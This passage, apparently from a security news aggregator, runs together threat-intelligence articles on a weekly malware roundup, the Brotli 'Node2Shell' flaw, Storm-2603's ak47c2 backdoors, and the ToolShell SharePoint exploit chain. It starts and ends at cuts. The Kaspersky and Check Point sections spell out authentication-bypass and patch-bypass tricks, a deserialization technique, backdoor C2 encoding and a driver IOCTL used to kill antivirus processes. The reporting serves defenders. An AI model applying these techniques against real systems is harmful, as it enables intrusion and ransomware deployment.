is not a single-actor campaign but a rented crimeware platform: a master operator leases access to affiliates, who use a Telegram bot ('APK Shield) and a web control panel (v7.0) to build personalized banking trojans on demand and distribute them through fake Play-Store-style pages and messaging-app lures," CloudSEK said. The kit impersonates around 36 lure apps, including banks, utility providers, and government services. One affiliate is estimated to have intercepted 5407 text messages from 153 infected devices. MDM platforms abused for remote access Threat actors are abusing legitimate mobile device management (MDM) platforms, like Hexnode and Rippling, by using social engineering to enroll devices or install management agents, per Huntress. "Once established, MDM provides a trusted, privileged path for malicious activity, such as deploying rogue RMM tools and maintaining remote access," it said. Critical Gotenberg RCE exploited Threat actors are exploiting CVE-2026-42589 (CVSS score: 9.8), a critical remote code execution flaw in Gotenberg, to deliver a Go-based reverse shell called "cache_base." The flaw was patched in May 2026. According to VulnCheck, the activity originated from a residential Japanese IP address in early October 2026. "The execution flow is straightforward: acquire a lock, collect host information, connect to C2, register the victim, and open a shell," VulnCheck said. Over the past 30 days, the vulnerability has recorded 1,358 exploitation events from 128 unique source IP addresses. Discord discussions go public Discord has announced it will allow search engines to index discussions in Discoverable Servers and make them accessible on the web to users outside the platform without an account or invitation, starting mid-December 2026. "Discussions in Discoverable Servers will soon be easier to find when you search the web, so you can find the answer you're looking for and step straight into the conversation on Discord," it said. The changes apply only to Discoverable Servers and do not extend to private servers and direct messages. 800+ ransomware victims claimed The Gentlemen ransomware operation has claimed more than 800 victims across multiple regions and sectors, with most attacks targeting organizations in the U.S. and Europe. "The group supports multiple platforms, with ransomware variants targeting Windows, Linux, NAS, and BSD systems, allowing its affiliates to target a broad range of enterprise environments," Acronis said. "The group's operations include the use of EDR-killing tools. In a recent incident, a custom dropper was observed deploying vulnerable Safetica ProcessMonitorDriver [CVE-2025-70795] and Lenovo BootRepair.sys drivers to terminate security processes." AI model loading RCE risk Pillar Security has disclosed an arbitrary-code-execution vulnerability in Unsloth's core model-loading path (CVE-2026-93348, CVSS score: 8.6). It has been fixed in unsloth_zoo 2026.8.14. "An attacker-controlled model configuration could cause Python code to execute during loading," researcher Ariel Fogel said. "The affected code ran inside the model-loading process, with access to whatever that process could read, modify, or authenticate to. In an AI development environment, that can include proprietary datasets, model artifacts, Hugging Face tokens, and cloud credentials. Exploitation required an affected loading path to process an attacker-controlled configuration." Unauthenticated root-level RCE XBOW said it identified an unauthenticated, critical-severity remote code execution bug in a public web application belonging to the U.S. Election Assistance Commission (EAC). "The vulnerable application was a resource/logistics calculator, not a voting machine or voter registration system," XBOW researcher Ariel Walter Garcia said. "The flaw allowed an unauthenticated attacker to execute code as root inside the backend container, with access to locally protected resources and outbound network connectivity, a privileged foothold reachable via a crafted unauthenticated web request." Session-hijacking RAT emerges A new remote access trojan called DarkCore comes with a dedicated browser that could let attackers access Gmail, WhatsApp, and MediaFire accounts using stolen sessions, while giving the impression that the activity is originating from the victim's own IP address. DarkCore was first advertised on cybercrime forums in August 2026. "The seller describes a browser that reuses those sessions to access work mailboxes, instant messaging apps, cloud storage and other services through the infected machine's IP address," BlackFog said. "The purpose is to make the access look like legitimate activity from the user." AI-powered malware framework Cisco Talos has disclosed details of a new AI-integrated command-and-control (C2) framework called NIK C2. The implant features surveillance, theft, lateral movement, and evasion capabilities, including credential dumping, RDP session hijacking, process hollowing, and a C2-driven screen lock ransomware module. "NIK C2 contains a Windows implant, using which, an actor can dump credentials, stream the victim's keystrokes to collect the targeted victim's sensitive data, and instruct an integrated AI model to analyze the harvested data, all within the compromised session," Talos said. "In this framework, the actor has abused the OpenAI Chat Completions application programming interface (API), which is an HTTP endpoint that enables ChatGPT-style conversations programmatically. In addition to the features that enable theft, an actor can also deploy desktop screen-locking ransomware via the NIK C2 implant onto the victim machine, leading to a ransom demand in Bitcoin or USDT cryptocurrencies." Three different versions of the malware have been identified to date since August 12, 2026. Talos said NIK C2 alters adversary tradecraft by collapsing collection and exploitation into a single continuous session. Malicious PDF delivers backdoor A phishing email using a FedEx tax invoice lure and containing a ZIP archive with a PDF has been observed triggering a multi-stage infection process to deliver a previously undocumented variant of the Sirius Backdoor. "The PDF abuses /OpenAction and /Launch objects to trigger an embedded Base64-encoded PowerShell command upon opening," Trellix said. "Execution relies on social engineering to trick the user into approving the PDF reader's security confirmation prompt. The PowerShell stager decrypts and reflectively loads a .NET assembly in memory. This loader performs process hollowing into legitimate Windows processes such as msbuild.exe, svchost.exe, etc., allowing the malware to operate under trusted process contexts." The final payload is SIRIUS, a Microsoft Visual C++ based backdoor with extended remote access capabilities. AI reshapes ransomware economics A new analysis from Flare has revealed that threat actors are building a mixed AI toolkit, combining commercial models with local, open-weight, and jailbroken alternatives, as well as leaning on stolen AI credentials to shift costs to victims. "Where AI can help is with understanding systems, writing tools and troubleshooting. The threat actor still needs access, decisions and a way to obtain payment," Flare said. "If AI helps an affiliate write a working data-export script without hiring a specialist, the affiliate may avoid that specialist’s fee and the wait for their help. AI makes expertise cheaper to obtain only when the cost of using and checking its work is lower than the cost of the specialist help it replaces." Emerging data-extortion threat A recently observed cyber-extortion actor named ScarlettGroup is publicly advertising alleged data compromises and uses negotiation deadlines and threatened disclosures to pressure targeted organizations. The group's dark web site listing includes victims from technology, education, government, and entertainment sectors. "ScarlettGroup demonstrates characteristics associated with financially motivated data-extortion operations, including public victim claims, deadline-based pressure, and underground forum activity," Foresiet said. "Its dedicated leak-site infrastructure and structured disclosure mechanism indicate an organized approach to promoting alleged compromises and exerting reputational pressure." Infostealers evolve into RATs Following its disruption in June 2026 as part of Operation Endgame, StealC has returned four months later as Stadia. "This time it's not a stealer: it's a full remote access trojan," Varonis said. "The RAT's features include hidden desktop control, a live command shell, a file explorer, a process manager and an in-memory loader, with StealC's stealer welded on as one module among six. The actor behind Stadia is working hard to win back original StealC customers: every former StealC customer is offered a free month on the top ($900) tier." The development comes as Moonlock Lab revealed that the Icarus macOS stealer has similarly evolved from a smash-and-grab crypto and data stealer to a malware with remote-access capabilities. The new iteration is called ICMacOS. "The stealer is actively advertised on cybercrime forums by a Russian-speaking actor operating under the handle GlowComa, with feature updates regularly announced via Telegram," SOCRadar said. "GlowComa promotes ICMacOS alongside Icarus ClickFix, a companion panel designed to deliver payloads using malicious copy-and-paste terminal commands. The infection chain relies on initial dropper scripts to detect the host architecture and harvest administrator passwords using fake system dialogs before delivering the primary payload." Another macOS-focused stealer is Aokigahara, which goes beyond browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications to also target AI applications and development tools. "The stealer collects authentication files, session data, and configuration files associated with Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, and other tools," Check Point said. "Stolen AI credentials could offer opportunities for monetization. Usable credentials or session tokens could enable unauthorized access to paid AI services or the resale of compromised accounts." That's the week's mess. Some attacks were clever, some were painfully simple, and a few attackers made life easier for the people investigating them. The common problem? Too much trust in things nobody was watching closely. AI is adding new tricks, but the old ones aren't going anywhere. Stolen credentials, weak access controls, and forgotten bugs still get plenty of work done. New tools, familiar mistakes. The useful part is knowing where those mistakes keep showing up. That's usually where the next problem starts.
10 shared
Oct 30, 2026
Microsoft releases emergency .NET patches for critical Brotli flaw
A vulnerability in Google’s Brotli data compression library, tracked as CVE-2026-111497 and dubbed Node2Shell, has led to security updates from Microsoft, the Node.js project and the maintainers of two Python packages. Node.js and the Python packages were patched last week, and Microsoft followed on October 25 with fixes for .NET, Visual Studio and PowerShell. Bun, Envoy and Istio have also been updated. Brotli is a popular choice for compressing data sent over the web, and its decoder is embedded in a long list of applications and libraries. Described as an out-of-bounds write, the bug impacts Brotli 1.0.3 through 1.2.0. Google gave it a CVSS v4 score of 9.2, which puts it in the critical category. Brotli versions 1.0.10, 1.1.1 and 1.2.1 contain the fix. The Node.js project said specially crafted input can push data beyond the limits of a buffer used by the decoder. The resulting memory corruption could cause the process to crash or leak memory contents, and could also allow an unauthenticated attacker to run arbitrary code. Node.js credited the discovery to members of OpenAI Codex Security. According to OpenAI, the issue was uncovered during red-teaming work, after which the company notified the Brotli developers and the projects that rely on the library. OpenAI noted that the fix predates the disclosure. “This root cause issue was actually fixed in the Brotli source code in February, but it wasn’t known at the time that it gave rise to a security vulnerability and there was no more recent release of Brotli,” the AI company said. Code execution demonstrated on official Node.js image Imperva has shown that it can be exploited for code execution on the official Node.js 24.22.0 image for Linux arm64. Its researchers sent the malicious data both in a server response retrieved by the targeted application and in a request body processed by Express 5 or body-parser 2. “The proof did not succeed on every attempt. Our results establish code execution for the tested Linux arm64 build and application setups, and show how the fixed build handled the same inputs,” Imperva said. The security firm has not made its exploit public. Attacks only work if malicious Brotli data reaches the decoder, for instance through a library that unpacks compressed content on the application’s behalf. “Any application that passes attacker-controlled data to an affected Google Brotli decoder may be exposed. This includes compressed HTTP request bodies, responses fetched from untrusted servers, and compressed files,” OpenAI’s Patch the Planet initiative said in its advisory. No exploitation in the wild has been reported so far. A proof-of-concept exploit published on GitHub reportedly achieves code execution only against an intentionally weakened build, and some researchers argued the bug can only be used for denial-of-service (DoS) attacks. Microsoft products and Python packages affected Microsoft’s October 25 updates include .NET runtime versions 8.0.33, 9.0.22 and 10.0.14, along with .NET 11 Release Candidate 3. Visual Studio 2019, 2022 and 2026, as well as PowerShell 7.4, 7.5 and 7.6, have also been updated. Microsoft has categorized CVE-2026-111497 as an elevation of privilege issue with a CVSS v3.1 base score of 8.1. It rates the flaw critical for .NET and Visual Studio and important for PowerShell, and its exploitability assessment is “Exploitation More Likely.” In Python’s case, the vulnerable decoder is built into two PyPI packages, Brotli and brotlicffi. They have been patched with the release of versions 1.2.1 and 1.2.1.0, respectively. As more affected software emerged, researchers began referring to the flaw as HTTP2Shell and Broccoli2Shell. A public tracker of software that bundles its own copy of the Brotli decoder lists several projects that are still unpatched, including DuckDB, Apache Arrow, 7-Zip-zstd, p7zip and EDK II. Its maintainers say the list is incomplete, and that not every configuration of these projects necessarily exposes the vulnerable code. Applying the updates also requires restarting affected services and rebuilding container images on top of a patched base, since processes that are already running keep using the vulnerable code. Related: Mirai Botnet Operators Join PHP2Shell Attacks as ASLR Bypass Exploits Emerge Related: Attackers Exploit Third Arista VCO Zero-Day in Four Months Related: LiteLLM Compromised in Fresh Supply Chain Attack
10 shared
Oct 29, 2026
US Tops Hit List as 396 SharePoint Systems Compromised Globally
Check Point Research (CPR) conducted a focused analysis of Storm-2603, a threat actor associated with recent ToolShell exploitations, together with other Chinese APT groups. Storm-2603 utilizes a custom malware Command and Control (C2) framework dubbed internally by the attacker as “ak47c2”. This framework includes at least two different types of clients: HTTP-based (dubbed by us “ak47http”) and DNS-based (dubbed by us “ak47dns”). Based on VirusTotal data, Storm-2603 likely targeted some organizations in Latin America throughout the first half of 2025, in parallel to attacking organizations in APAC. Some of the actor’s TTPs align with many other ransomware groups, and involve open-source tools such as PsExec and masscan. In addition, the threat actors use a custom tool that leverages the BYOVD (Bring Your Own Vulnerable Driver) technique to tamper with endpoint protections. Storm-2603 attacks involved multiple ransomware families, sometimes bundled together. Those are commonly deployed by abusing DLL hijacking. Check Point Research (CPR) has been closely monitoring the ongoing exploitation of a group of Microsoft SharePoint Server vulnerabilities collectively referred to as “ToolShell.” These active attacks leverage four vulnerabilities—CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, and CVE-2025-53771—and are attributed to multiple China affiliated threat actors. Among the threat groups identified by Microsoft, two are known APTs: Linen Typhoon (aka APT27) and Violet Typhoon (aka APT31). Another group is a newly observed, previously undocumented cluster called Storm-2603. While Microsoft linked this cluster’s activity to potential ransomware deployment, it was unable to assess the group’s objectives. As part of our ongoing investigation into ToolShell and its associated risks, we launched a targeted effort to better understand and characterize the threat posed by Storm-2603. Throughout our analysis, we uncovered several files likely tied to Storm-2603 intrusions, offering new insights that correspond to Microsoft’s description of the group. In this publication, we provide an in-depth examination of Storm-2603’s tactics, techniques, and procedures (TTPs), along with a technical breakdown of the ak47c2, a custom malware framework used in their attacks and their different ransomware payloads. Storm-2603 was first mentioned by Microsoft during investigations into a set of attacks on Microsoft SharePoint servers, known as the “ToolShell” campaign. While some activity was tied to known Chinese affiliated groups like Linen Typhoon (APT27) and Violet Typhoon (APT31), Storm-2603 appeared as a new, previously unreported actor. Microsoft linked the group to Lockbit and Warlock ransomware use. Figure 1 – Events associated with Storm-2603. Microsoft’s report provided only limited information about Storm-2603, including some of the TTPs associated with it, most of them quite generic. In addition, some of the reported indicators of compromise (IOCs) helped us uncover additional artifacts associated with previous Storm-2603 intrusions. One domain in particular, update.updatemicfosoft[.]com, linked to Storm-2603’s SharePoint exploitation, turned out to have been used in earlier campaigns dating back to March 2025. In those operations, it served as a C2 server for both DNS tunneling malware and an HTTP backdoor and was part of infrastructure used to deliver LockBit Black and Warlock/x2anylock ransomware. Our search for cases where the IOCs reported by Microsoft, revealed two incidents in which LockBit Black and WarLock ransomware variants were deployed together, in addition to multiple other tools, mostly open-source. In April 2025, a RAR archive named Evidencia.rar was uploaded to VirusTotal. The archive contains several artifacts likely extracted from compromised machines in a Storm-2603 case in a LATAM country. The artifacts in the archive provide a look at some of the open-source tools used by the actors in the intrusions which correlates with previous knowledge of the group: WinPcap – Captures and filters network traffic on Windows. PsExec – Executes commands on remote Windows systems. SharpHostInfo – Collects host and domain info on Windows environments. nxc – Exploits common vulnerabilities in network services. In addition to the open-source tools, the archive also contains the custom backdoor used by the group, as well as its unique ransomware payloads. dnsclient.exe – A custom backdoor utilized by Storm-2603 that communicates over DNS tunneling with update.updatemicfosoft[.]com, a domain associated with the group. See the next section for our analysis of the backdoor. 7z.exe & 7z.dll – Legitimate 7z executable side-loading malicious 7z.dll delivering X2anylock (aka Warlock), a ransomware used by Storm-2603. bbb.msi – An installer which uses clink_x86.exe to side-load clink_dll_x86.dll, leading to the execution of LockBit Black ransomware. Another MSI file uploaded to VirusTotal in April used a similar deployment method, starting with the MSI installer to launch multiple ransomware strains simultaneously: Figure 2 – MSI Multi-Ransomware Deployment. The MSI relies on the following files: MpCmdRun.exe & Mpclient.dll – Warlock Ransomware, deployed via DLL-hijacking. clink_x86.exe & clink_dll_x86.dll – LockBit Black ransomware, deployed via DLL-hijacking. z.exe & z.dll – x2anylock ransomware, deployed via DLL-hijacking. VMToolsEng.exe – Custom Antivirus Terminator. ServiceMouse.sys – Vulnerable driver used by VMToolsEng.exe for killing Antivirus processes. log.exe – A list of Antivirus processes to kill. msi.bat – Executes VMToolsEng.exe. 1.bat – Executes all the needed executables and the MSI. We attributed two custom backdoors to Storm-2306, both of which appear to be part of the framework named AK47 C2 based on the shared PDB path: C:\Users\Administrator\Desktop\work\tools\ak47c2\. When executed, the program immediately hides its console window, determines the host computer name (defaulting to unknown.local if that fails), and builds a DNS‑based command‑and‑control payload. It chooses a random five-character session ID, such as H4T14, and prefixes it with 1 for task requests or 2 for result uploads (e.g., 1H4T14 or 2H4T14). Each element, such as the task/result tag, a size flag (a for “all” when the entire message fits into one request), and the computer name, is XOR‑encoded with the ASCII key “VHBD@H”, converted to hexadecimal, and concatenated with dots before being prepended to the C2 domain update.micfosoft[.]com. This what the overall query looks like: DNS TXT and MG (a mail group member record type) record lookups (DnsQuery_A) are used to transmit and retrieve data. If the C2 server is unreachable, the client simply receives error 9003 (DNS_ERROR_RCODE_NAME_ERROR). Otherwise, the response text is decoded from hex, XOR‑decrypted, and parsed for the delimiter “:::”, which separates metadata from the actual command string. Commands run under cmd.exe /c 2>&1; a built‑in directive sleep n pauses execution for n seconds. For outputs larger than 0xFF bytes, the backdoor fragments data into 63‑byte sub‑segments. Each DNS query then follows: HttpClient backdoor has the pdb path C:\Users\Administrator\Desktop\work\tools\ak47c2\httpclient-cpp\x64\Release\httpclient-cpp.pdb and uses plain HTTP instead of DNS for the C2. It is built as a 64‑bit console program that also immediately hides its window on launch. On start‑up, the malware gathers the host computer name (similar to the DNS version, it defaults to unknown.local), then builds a JSON object with the fields cmd, cmd_id, fqdn, result, and type. For a task request, the object looks like this: {"cmd":"","cmd_id":"","fqdn":" ","result":"","type":"task"} After the host executes a command, the result is sent back with type:”result”. Before transmission, the entire JSON blob is XOR‑encrypted with the ASCII key “VHBD@H”, converted to hexadecimal, and placed in the body of an HTTP POST to “/” with generic headers (Content‑Type: text/plain, Accept: */*). The C2 replies with a similarly encoded JSON where the cmd field contains the next command. The implant executes it via cmd.exe /c 2>&1 and returns the output. We identified that during these attacks, several types of ransomware were deployed simultaneously. One is regular LockBit Black, and the second uses the.x2anylock extension. This extension was later used by the Warlock ransomware operator, mentioned in Microsoft’s report on the SharePoint exploitation. The Warlock ransom note is usually saved as How to decrypt my data.txt and looks like this: Figure 3 – Warlock Group ransom note. The ransom notes for all ransomware strains deployed by Storm-2603 are named How to decrypt my data.log (x2anylock) or .README.txt (LockBit Black) and have the same short content: Your decrypt ID: [redacted] Tox ID Support: 3DCE[redacted] Email Support: [redacted]@proton.me,[redacted]@proton.me,[redacted]@proton.me You can contact us in email or qtox. This ransom note’s name How to decrypt my data.log appeared in a recent LinkedIn post by Huntress, describing the case where multiple ransomware families were deployed together against the same target. While not a new tactic, this approach is rarely observed among established ransomware groups. An important part of the infection package described earlier is called Antivirus Terminator. It is a custom command line tool abusing a third-party signed legitimate driver to kill processes. From what we can see, it’s been in the wild since at least late 2024. The tool requires administrative privileges on the infected machine. The screenshot below shows how the listing is displayed in the console when the tool is run without parameters: Figure 4 – Antivirus Terminator supported arguments when run without parameters. The tool first creates a service called ServiceMouse, where the path to the service binary file is ServiceMouse.sys from the package. Next, the tool communicates with the installed service via IO control code 0x99000050, which is responsible for killing processes. The tool also has more capabilities, like deleting files and uninstalling drivers, and these use different IO control codes (0x990000D0 and 0x990001D0). Figure 6 – Antivirus Terminator kills process using third-party driver. The supplied third-party driver is a legitimate and signed component of Antiy System In-Depth Analysis Toolkit, originally named AToolsKrnl64.sys. The toolkit was developed by Antiy Labs, a Chinese security vendor, and features a graphical user interface that allows users, among others, to interact with and manipulate processes. The ability to kill processes is the most important feature which is abused by threat actors in this particular case. Figure 7 – Antiy System In-Depth Analysis Tookit GUI. The following piece of code in the driver handles the IO control code 0x99000050 mentioned above: Figure 8 – IO control code processing in the Antiy driver. The second function is the piece of code responsible for killing a process with a given PID. In this report we analyze Storm-2603, a relatively new threat actor first mentioned by Microsoft during investigations into the “ToolShell” campaign targeting SharePoint servers. While some of the exploitation activity was tied to known Chinese APT groups, Storm-2603 stood out as a previously undocumented group linked to ransomware deployment. By examining infrastructure indicators shared in public reporting, we were able to connect this actor to earlier campaigns involving LockBit Black and Warlock/X2anylock ransomware, dating back to at least March 2025. These earlier attacks used similar infrastructure and tools, including DNS tunneling and HTTP-based backdoors. Interestingly, multiple ransomware variants were deployed in the same attack. This behavior, along with the overlap in techniques, helps us better understand how Storm-2603 operates “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.
10 shared
Aug 1, 2025
US Tops Hit List as 396 SharePoint Systems Compromised Globally
On July 19–20, 2025, various security companies and national CERTs published alerts about active exploitation of on-premise SharePoint servers. According to the reports, observed attacks did not require authentication, allowed attackers to gain full control over the infected servers, and were performed using an exploit chain of two vulnerabilities: CVE-2025-49704 and CVE-2025-49706, publicly named “ToolShell”. Additionally, on the same dates, Microsoft released out-of-band security patches for the vulnerabilities CVE-2025-53770 and CVE-2025-53771, aimed at addressing the security bypasses of previously issued fixes for CVE-2025-49704 and CVE-2025-49706. The release of the new, “proper” updates has caused confusion about exactly which vulnerabilities attackers are exploiting and whether they are using zero-day exploits. Kaspersky products proactively detected and blocked malicious activity linked to these attacks, which allowed us to gather statistics about the timeframe and spread of this campaign. Our statistics show that widespread exploitation started on July 18, 2025, and attackers targeted servers across the world in Egypt, Jordan, Russia, Vietnam, and Zambia. Entities across multiple sectors were affected: government, finance, manufacturing, forestry, and agriculture. While analyzing all artifacts related to these attacks, which were detected by our products and public information provided by external researchers, we found a dump of a POST request that was claimed to contain the malicious payload used in these attacks. After performing our own analysis, we were able to confirm that this dump indeed contained the malicious payload detected by our technologies, and that sending this single request to an affected SharePoint installation was enough to execute the malicious payload there. Our analysis of the exploit showed that it did rely on vulnerabilities fixed under CVE-2025-49704 and CVE-2025-49706, but by changing just one byte in the request, we were able to bypass those fixes. In this post, we provide detailed information about CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771, and one related vulnerability. Since the exploit code is already published online, is very easy to use, and poses a significant risk, we encourage all organizations to install the necessary updates. The exploit Our research started with an analysis of a POST request dump associated with this wave of attacks on SharePoint servers. We can see that this POST request targets the “/_layouts/15/ToolPane.aspx” endpoint and embeds two parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. Looking at the code of ToolPane.aspx, we can see that this file itself does not contain much functionality and most of its code is located in the ToolPane class of the Microsoft.SharePoint.WebPartPages namespace in Microsoft.SharePoint.dll. Looking at this class reveals the code that works with the two parameters present in the exploit. However, accessing this endpoint under normal conditions is not possible without bypassing authentication on the attacked SharePoint server. This is where the first Microsoft SharePoint Server Spoofing Vulnerability CVE-2025-49706 comes into play. CVE-2025-49706 This vulnerability is present in the method PostAuthenticateRequestHandler, in Microsoft.SharePoint.dll. SharePoint requires Internet Information Services (IIS) to be configured in integrated mode. In this mode, the IIS and ASP.NET authentication stages are unified. As a result, the outcome of IIS authentication is not determined until the PostAuthenticateRequest stage, at which point both the ASP.NET and IIS authentication methods have been completed. Therefore, the PostAuthenticateRequestHandler method utilizes a series of flags to track potential authentication violations. A logic bug in this method enables an authentication bypass if the “Referrer” header of the HTTP request is equal to “/_layouts/SignOut.aspx”, “/_layouts/14/SignOut.aspx”, or “/_layouts/15/SignOut.aspx” using case insensitive comparison. The code displayed in the image above handles the sign-out request and is also triggered when the sign-out page is specified as the referrer. When flag6 is set to false and flag7 is set to true, both conditional branches that could potentially throw an “Unauthorized Access” exception are bypassed. On July 8, 2025, Microsoft released an update that addressed this vulnerability by introducing additional checks to detect the usage of the “ToolPane.aspx” endpoint with the sign-out page specified as the referrer. The added check uses case insensitive comparison to verify if the requested path ends with “ToolPane.aspx”. Is it possible to bypass this check, say, by using a different endpoint? Our testing has shown that this check can be easily bypassed. CVE-2025-53771 We were able to successfully bypass the patch for vulnerability CVE-2025-49706 by adding just one byte to the exploit POST request. All that was required to bypass this patch was to add a “/” (slash) to the end of the requested “ToolPane.aspx” path. On July 20, 2025, Microsoft released an update that fixed this bypass as CVE-2025-53771. This fix replaces the “ToolPane.aspx” check to instead check whether the requested path is in the list of paths allowed for use with the sign-out page specified as the referrer. This allowlist includes the following paths: “/_layouts/15/SignOut.aspx”, “/_layouts/15/1033/initstrings.js”, “/_layouts/15/init.js”, “/_layouts/15/theming.js”, “/ScriptResource.axd”, “/_layouts/15/blank.js”, “/ScriptResource.axd”, “/WebResource.axd”, “/_layouts/15/1033/styles/corev15.css”, “/_layouts/15/1033/styles/error.css”, “/_layouts/15/images/favicon.ico”, “/_layouts/15/1033/strings.js”, “/_layouts/15/core.js”, and it can contain additional paths added by the administrator. While testing the CVE-2025-49706 bypass with the July 8, 2025 updates installed on our SharePoint debugging stand, we noticed some strange behavior. Not only did the bypass of CVE-2025-49706 work, but the entire exploit chain did! But wait! Didn’t the attackers use an additional Microsoft SharePoint Remote Code Execution Vulnerability CVE-2025-49704, which was supposed to be fixed in the same update? To understand why the entire exploit chain worked in our case, let’s take a look at the vulnerability CVE-2025-49704 and how it was fixed. CVE-2025-49704 CVE-2025-49704 is an untrusted data deserialization vulnerability that exists due to improper validation of XML content. Looking at the exploit POST request, we can see that it contains two URL encoded parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. We can see how they are handled by examining the code of the method GetPartPreviewAndPropertiesFromMarkup in Microsoft.SharePoint.dll. A quick analysis reveals that “MSOtlPn_Uri” is a page URL that might be pointing to an any file in the CONTROLTEMPLATES folder and the parameter “MSOtlPn_DWP” contains something known as WebPart markup. This markup contains special directives that can be used to execute safe controls on a server and has a format very similar to XML. While this “XML” included in the “MSOtlPn_DWP” parameter does not itself contain a vulnerability, it allows attackers to instantiate the ExcelDataSet control from Microsoft.PerformancePoint.Scorecards.Client.dll with CompressedDataTable property set to malicious payload and trigger its processing using DataTable property getter. Looking at the code of the ExcelDataSet’s DataTable property getter in Microsoft.PerformancePoint.Scorecards.Client.dll, we find the method GetObjectFromCompressedBase64String, responsible for deserialization of CompressedDataTable property contents. The data provided as Base64 string is decoded, unzipped, and passed to the BinarySerialization.Deserialize method from Microsoft.SharePoint.dll. Attackers use this method to provide a malicious DataSet whose deserialized content is shown in the image above. It contains an XML with an element of dangerous type "System.Collections.Generic.List1[[System.Data.Services.Internal.ExpandedWrapper2[...], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", which allows attackers to execute arbitrary methods with the help of the well-known ExpandedWrapper technique aimed at exploitation of unsafe XML deserialization in applications based on the .NET framework. In fact, this shouldn’t be possible, since BinarySerialization.Deserialize in Microsoft.SharePoint.dll uses a special XmlValidator designed to protect against this technique by checking the types of all elements present in the provided XML and ensuring that they are on the list of allowed types. However, the exploit bypasses this check by placing the ExpandedWrapper object into the list. Now, to find out why the exploit worked on our SharePoint debugging stand with the July 8, 2025 updates installed, let’s take a look at how this vulnerability was fixed. In this patch, Microsoft did not really fix the vulnerability but only mitigated it by adding the new AddExcelDataSetToSafeControls class to the Microsoft.SharePoint.Upgrade namespace. This class contains new code that modifies the web.config file and marks the Microsoft.PerformancePoint.Scorecards.ExcelDataSet control as unsafe. Because SharePoint does not execute this code on its own after installing updates, the only way to achieve the security effect was to manually run a configuration upgrade using the SharePoint Products Configuration Wizard tool. Notably, the security guidance for CVE-2025-49704 does not mention the need for this step, which means at least some SharePoint administrators may skip it. Meanwhile, anyone who installed this update but did not manually perform a configuration upgrade remained vulnerable. CVE-2025-53770 On July 20, 2025, Microsoft released an update with a proper fix for the CVE-2025-49704 vulnerability. This patch introduces an updated XmlValidator that now properly validates element types in XML, preventing exploitation of this vulnerability without requiring a configuration upgrade and, more importantly, addressing the root cause and preventing exploitation of the same vulnerability through controls other than Microsoft.PerformancePoint.Scorecards.ExcelDataSet. CVE-2020-1147 Readers familiar with previous SharePoint exploits might feel that the vulnerability CVE-2025-49704/CVE-2025-53770 and the exploit used by the attackers looks very familiar and very similar to the older .NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability CVE-2020-1147. In fact, if we compare the exploit for CVE-2020-1147 and an exploit for CVE-2025-49704/CVE-2025-53770, we can see that they are almost identical. The only difference is that in the exploit for CVE-2025-49704/CVE-2025-53770, the dangerous ExpandedWrapper object is placed in the list. This makes CVE-2025-53770 an updated fix for CVE-2020-1147. Conclusions Despite the fact that patches for the ToolShell vulnerabilities are now available for deployment, we assess that this chain of exploits will continue being used by attackers for a long time. We have been observing the same situation with other notorious vulnerabilities, such as ProxyLogon, PrintNightmare, or EternalBlue. While they have been known for years, many threat actors still continue leveraging them in their attacks to compromise unpatched systems. We expect the ToolShell vulnerabilities to follow the same fate, as they can be exploited with extremely low effort and allow full control over the vulnerable server. To stay better protected against threats like ToolShell, we as a community should learn lessons from previous events in the industry related to critical vulnerabilities. Specifically, the speed of applying security patches nowadays is the most important factor when it comes to fighting such vulnerabilities. Since public exploits for these dangerous vulnerabilities appear very soon after vulnerability announcements, it is paramount to install patches as soon as possible, as a gap of even a few hours can make a critical difference. At the same time, it is important to protect enterprise networks against zero-day exploits, which can be leveraged when there is no available public patch for vulnerabilities. In this regard, it is critical to equip machines with reliable cybersecurity solutions that have proven effective in combatting ToolShell attacks before they were publicly disclosed. Kaspersky Next with its Behaviour detection component proactively protects against exploitation of these vulnerabilities. Additionally, it is able to detect exploitation and the subsequent malicious activity. Kaspersky products detect the exploits and malware used in these attacks with the following verdicts: UDS:DangerousObject.Multi.Generic PDM:Exploit.Win32.Generic PDM:Trojan.Win32.Generic HEUR:Trojan.MSIL.Agent.gen ASP.Agent.* PowerShell.Agent.*
10 shared
Jul 31, 2025
PHP web runtimes (CVE-2026-109618 and CVE-2026-109619)
On October 21, 2026, the PHP project released emergency fixes for two critical remote code execution (RCE) vulnerabilities in the PHP core runtime, tracked as CVE-2026-109618 and CVE-2026-109619 and collectively named PHP2Shell. Both are rated 9.2 (Critical) under CVSS v4.0, and both allow an unauthenticated attacker to run code on a vulnerable server. The fixed releases are PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.35. Patching is the only complete fix, and you should upgrade PHP as your first priority. But patching a fleet takes time: you need to inventory where PHP runs, schedule maintenance windows and test applications against the new builds. This post shows you how to use AWS Web Application Firewall ( AWS WAF ) to help reduce exposure to the confirmed attack paths during that window. You’ll learn which request patterns to block, how to write the rules in AWS WAFv2, how to deploy them without breaking legitimate traffic and where its protection ends, so you don’t develop a false sense of safety. For how Amazon threat intelligence detected PHP2Shell exploitation before public disclosure, see Amazon Threat Intelligence identifies PHP2Shell exploitation prior to public disclosure in MadPot . For AWS service status and the AWS WAF rule that AWS recommends, see AWS Security Bulletin 2026-143-AWS . IMPORTANT: Patching is the only complete fix, and you should upgrade PHP as your first priority. The vulnerabilities in brief Both PHP2Shell vulnerabilities are unauthenticated RCE issues rooted in how PHP handles multipart/form-data request processing (the request format browsers use for file uploads) before your application code runs, which is why the AWS WAF rules in this post focus on multipart traffic, request body size, and the session upload progress field. At a high level, CVE-2026-109618 corrupts memory when PHP runs out of memory mid-request, and CVE-2026-109619 lets one request leave behind stale data that a later request on the same worker process reuses. For the root-cause analysis, affected versions, and PHP’s own 